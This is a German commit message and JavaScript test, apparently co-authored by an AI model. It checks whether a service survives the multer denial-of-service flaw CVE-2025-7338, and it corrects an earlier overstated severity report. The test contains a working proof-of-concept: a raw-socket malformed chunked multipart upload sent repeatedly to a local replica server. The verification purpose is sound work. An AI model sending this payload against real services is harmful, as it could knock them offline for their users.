Gestern als "kritisch, 5 Anfragen töten den Dienst dauerhaft" gemeldet.
Bei genauer Prüfung heute stimmt das nicht:
- index.js hat einen process.on("uncaughtException")-Handler, der genau
das Prozess-Ende abfängt, das CVE-2025-7338 beschreibt. In drei
Angriffsvarianten (roher Socket, chunked ohne Abschluss-Chunk,
content-length-Lüge) blieb der Dienst am Leben.
- Die öffentliche Upload-Route hat eine eigene IP-Bremse (10/Stunde) und
multer-Härtung; trust proxy ist gesetzt, die Bremse greift pro echter IP.
multer 1.4.5 hat die CVE trotzdem (Fakt) — das Update auf 2.x bleibt
richtig als Wurzelbehandlung, ist aber Hygiene, kein Notfall. Dieser Test
dokumentiert den Nachweis, damit die Einordnung nachvollziehbar bleibt.
Co-Authored-By: Claude Opus 5 <[email protected]>
175 lines
7.5 KiB
JavaScript
175 lines
7.5 KiB
JavaScript
/* =====================================================================
|
|
Stürzt der Dienst bei dem multer-Fehler wirklich ab?
|
|
|
|
WARUM DIESER TEST
|
|
|
|
Am 27.08.2026 hatte ich gemeldet: multer 1.4.5-lts.2 hat eine
|
|
DoS-Lücke (CVE-2025-7338), ein fehlerhafter Upload beendet den
|
|
Prozess, nach fünf Malen gibt systemd auf -> Dienst dauerhaft tot.
|
|
|
|
Beim Nacharbeiten fiel mir das Ende von index.js auf:
|
|
|
|
process.on("uncaughtException", (fehler) => console.error(...));
|
|
|
|
Ein registrierter uncaughtException-Handler verhindert genau das
|
|
Beenden, das der CVE beschreibt. Damit steht meine eigene Meldung in
|
|
Frage -- und eine Sicherheitsmeldung, die dramatischer klingt als die
|
|
Wirklichkeit, ist genauso schädlich wie eine übersehene Lücke: Beim
|
|
nächsten Mal glaubt sie niemand mehr.
|
|
|
|
Also gemessen statt vermutet. Der Test baut denselben Aufbau nach,
|
|
den der echte Dienst hat, schickt den bösartigen Request und schaut,
|
|
ob der Prozess danach noch antwortet.
|
|
===================================================================== */
|
|
import { spawn } from "node:child_process";
|
|
import { writeFileSync, rmSync, mkdtempSync } from "node:fs";
|
|
import { tmpdir } from "node:os";
|
|
import { join } from "node:path";
|
|
|
|
const wurzel = mkdtempSync(join(tmpdir(), "multertest-"));
|
|
const PORT = 47311;
|
|
|
|
/* Der Nachbau: dieselben multer-Einstellungen wie in index.js, und --
|
|
entscheidend -- derselbe uncaughtException-Handler am Ende. */
|
|
const server = `
|
|
import express from "express";
|
|
import multer from "multer";
|
|
/* Jeder mögliche Weg wird laut protokolliert, damit sichtbar wird,
|
|
WELCHER genommen wird -- nicht nur, ob der Dienst überlebt. */
|
|
process.on("uncaughtException", (f) => console.error("WEG=uncaughtException", f?.message || f));
|
|
process.on("unhandledRejection", (g) => console.error("WEG=unhandledRejection", g?.message || g));
|
|
const app = express();
|
|
const up = multer({
|
|
storage: multer.diskStorage({
|
|
destination: (req, file, cb) => cb(null, ${JSON.stringify(wurzel).replace(/\\\\/g, "/")}),
|
|
filename: (req, file, cb) => cb(null, "x" + Date.now()),
|
|
}),
|
|
limits: { fileSize: 5 * 1024 * 1024 },
|
|
fileFilter: (req, file, cb) => cb(null, ["image/jpeg","image/png","image/webp"].includes(file.mimetype)),
|
|
});
|
|
app.post("/upload", (req, res) => {
|
|
up.single("image")(req, res, (err) => {
|
|
if (err) { console.error("WEG=callback-fehler", err?.code || err?.message); return res.status(400).json({ ok:false }); }
|
|
res.json({ ok: true });
|
|
});
|
|
});
|
|
app.get("/lebt", (req, res) => res.json({ ok: true }));
|
|
app.use((err, req, res, next) => {
|
|
console.error("WEG=express-fehlerhandler", err?.code || err?.message);
|
|
res.status(500).json({ ok: false });
|
|
});
|
|
app.listen(${PORT}, () => console.log("BEREIT"));
|
|
`;
|
|
/* Die Datei MUSS neben den Paketen liegen: Node sucht node_modules von
|
|
der Datei aus aufwärts, nicht vom Arbeitsverzeichnis. In /tmp abgelegt
|
|
findet sie weder express noch multer und startet gar nicht erst. */
|
|
const datei = join(process.cwd(), "server-internal", "tmp-dos-nachbau.mjs");
|
|
writeFileSync(datei, server);
|
|
|
|
const kind = spawn(process.execPath, [datei], { stdio: ["ignore", "pipe", "pipe"] });
|
|
let ausgabe = "";
|
|
kind.stdout.on("data", (d) => { ausgabe += d; });
|
|
kind.stderr.on("data", (d) => { ausgabe += d; });
|
|
|
|
await new Promise((f) => {
|
|
const warte = setInterval(() => { if (ausgabe.includes("BEREIT")) { clearInterval(warte); f(); } }, 100);
|
|
setTimeout(() => { clearInterval(warte); f(); }, 8000);
|
|
});
|
|
|
|
const version = (await import("./server-internal/node_modules/multer/package.json", { with: { type: "json" } })).default.version;
|
|
console.log("\ngetestete multer-Fassung:", version);
|
|
console.log("laeuft der Nachbau? ", ausgabe.includes("BEREIT") ? "ja" : "NEIN — Abbruch");
|
|
if (!ausgabe.includes("BEREIT")) {
|
|
console.log("Ausgabe:", ausgabe.slice(0, 400));
|
|
kind.kill(); rmSync(wurzel, { recursive: true, force: true }); rmSync(datei, { force: true }); process.exitCode = 1;
|
|
}
|
|
|
|
const lebt = async () => {
|
|
try {
|
|
const a = await fetch(`http://127.0.0.1:${PORT}/lebt`, { signal: AbortSignal.timeout(3000) });
|
|
return a.ok;
|
|
} catch { return false; }
|
|
};
|
|
|
|
console.log("\n--- vorher ---");
|
|
console.log(" Dienst antwortet:", await lebt() ? "ja" : "nein");
|
|
|
|
/* Der bösartige Request, diesmal RICHTIG.
|
|
|
|
fetch() taugt dafür nicht: Es sendet immer einen vollständigen, in
|
|
sich stimmigen Request. Der Angriff aus CVE-2025-7338 besteht aber
|
|
genau darin, dass der Client MEHR Daten ankündigt (content-length),
|
|
als er sendet, und dann die Verbindung schließt. multer wartet auf
|
|
den Rest, das Formular endet unerwartet -> "Unexpected end of form".
|
|
|
|
Das geht nur über einen rohen Socket, den man von Hand abschneidet. */
|
|
import net from "node:net";
|
|
|
|
function boesartigerUpload(nr) {
|
|
return new Promise((fertig) => {
|
|
const grenze = "----angriff" + nr;
|
|
/* Ein gueltig BEGONNENER Multipart-Teil, der busboy zum Parsen bringt,
|
|
dann aber ohne Abschluss-Grenze endet. */
|
|
const teil =
|
|
`--${grenze}\r\n` +
|
|
`Content-Disposition: form-data; name="image"; filename="a.png"\r\n` +
|
|
`Content-Type: image/png\r\n\r\n` +
|
|
`ANFANG-DER-DATEN-OHNE-ENDE`;
|
|
/* chunked statt content-length: Ich sende einen gueltigen Chunk und
|
|
schliesse dann die Verbindung, OHNE den abschliessenden 0-Chunk.
|
|
Fuer busboy sieht das aus wie ein Formular, das mitten im Lesen
|
|
abreisst -- genau der Ausloeser fuer "Unexpected end of form".
|
|
Anders als beim harten destroy() hat Node den Request hier bereits
|
|
an Express uebergeben, multer parst also schon. */
|
|
const chunk = teil.length.toString(16) + "\r\n" + teil + "\r\n";
|
|
const kopf =
|
|
`POST /upload HTTP/1.1\r\n` +
|
|
`Host: 127.0.0.1:${PORT}\r\n` +
|
|
`Content-Type: multipart/form-data; boundary=${grenze}\r\n` +
|
|
`Transfer-Encoding: chunked\r\n` +
|
|
`Connection: close\r\n\r\n`;
|
|
let erledigt = false;
|
|
const schluss = () => { if (!erledigt) { erledigt = true; setTimeout(fertig, 200); } };
|
|
const s = net.connect(PORT, "127.0.0.1", () => {
|
|
s.write(kopf + chunk);
|
|
/* busboy Zeit zum Anlesen geben, dann Verbindung beenden -- der
|
|
0-Abschluss-Chunk kommt nie. */
|
|
setTimeout(() => s.end(), 300);
|
|
});
|
|
s.on("error", () => {});
|
|
s.on("close", schluss);
|
|
/* Harte Grenze: Ein haengender Request (busboy wartet ewig auf den
|
|
Rest) darf den Test nicht blockieren -- das Haengen IST bereits ein
|
|
Befund, nur eben "Ressourcenleck", nicht "Absturz". */
|
|
setTimeout(() => { try { s.destroy(); } catch {} schluss(); }, 2500);
|
|
});
|
|
}
|
|
|
|
console.log("\n--- fehlerhafter Upload wird geschickt (roher Socket) ---");
|
|
for (let i = 1; i <= 6; i++) {
|
|
await boesartigerUpload(i);
|
|
const l = await lebt();
|
|
console.log(` Versuch ${i}: Dienst danach ${l ? "lebt" : "TOT"}`);
|
|
if (!l) break;
|
|
}
|
|
|
|
console.log("\n--- Ergebnis ---");
|
|
const amLeben = await lebt();
|
|
console.log(amLeben
|
|
? " Der Dienst lebt nach allen Versuchen. Absturz NICHT ausgeloest."
|
|
: " Der Dienst ist TOT. Die Lücke beendet den Prozess wie beschrieben.");
|
|
console.log("\n--- welchen Weg nahm der Fehler? ---");
|
|
const wege = ausgabe.split("\n").filter((z) => z.includes("WEG=")).map((z) => z.trim());
|
|
if (!wege.length) {
|
|
console.log(" KEINEN — der Angriff hat multer gar nicht erreicht. Test aussagelos.");
|
|
} else {
|
|
const zaehl = {};
|
|
for (const w of wege) { const k = w.split(" ")[0]; zaehl[k] = (zaehl[k] || 0) + 1; }
|
|
for (const [k, n] of Object.entries(zaehl)) console.log(` ${k} (${n}x)`);
|
|
console.log(" Beispiel:", wege[0]);
|
|
}
|
|
|
|
kind.kill();
|
|
rmSync(wurzel, { recursive: true, force: true });
|
|
rmSync(datei, { force: true });
|